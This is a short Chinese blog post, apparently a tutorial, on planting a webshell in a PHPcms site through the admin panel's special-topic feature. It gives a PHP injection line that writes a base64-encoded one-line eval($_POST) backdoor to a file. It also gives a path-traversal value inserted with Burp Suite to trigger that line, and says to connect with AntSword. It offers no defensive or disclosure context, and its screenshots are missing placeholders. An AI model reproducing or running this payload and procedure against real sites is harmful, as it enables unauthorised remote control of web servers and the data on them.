博客

PHPcms框架的Webshell

  • Post author:
  • Post category:php




登录界面



后台网址

www.phpcms.com/admin.php



进入主页面

在这里插入图片描述



代码注入拿webshell

接下来 我直接就上图了

在这里插入图片描述

在这里插入图片描述

写入一句话木马 

<?php file_put_contents('ooo.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2FhXSk7Pz4=')); ?>

查看专题

在这里插入图片描述

继续添加第二个专题

在这里插入图片描述


利用burpsuit拦截将代码写入，意思是将专题dayu2-扩展设置-专题首页里的index写入代码调用专题ooo1中的一句话生成一句话文件

在这里插入图片描述

抓包将index除替换：

…/…/…/…/html/special/ooo1/index


在这里插入图片描述

查看专题 创建成功

在这里插入图片描述

利用蚁剑连接一句话 即可


版权声明：本文为wo41ge原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。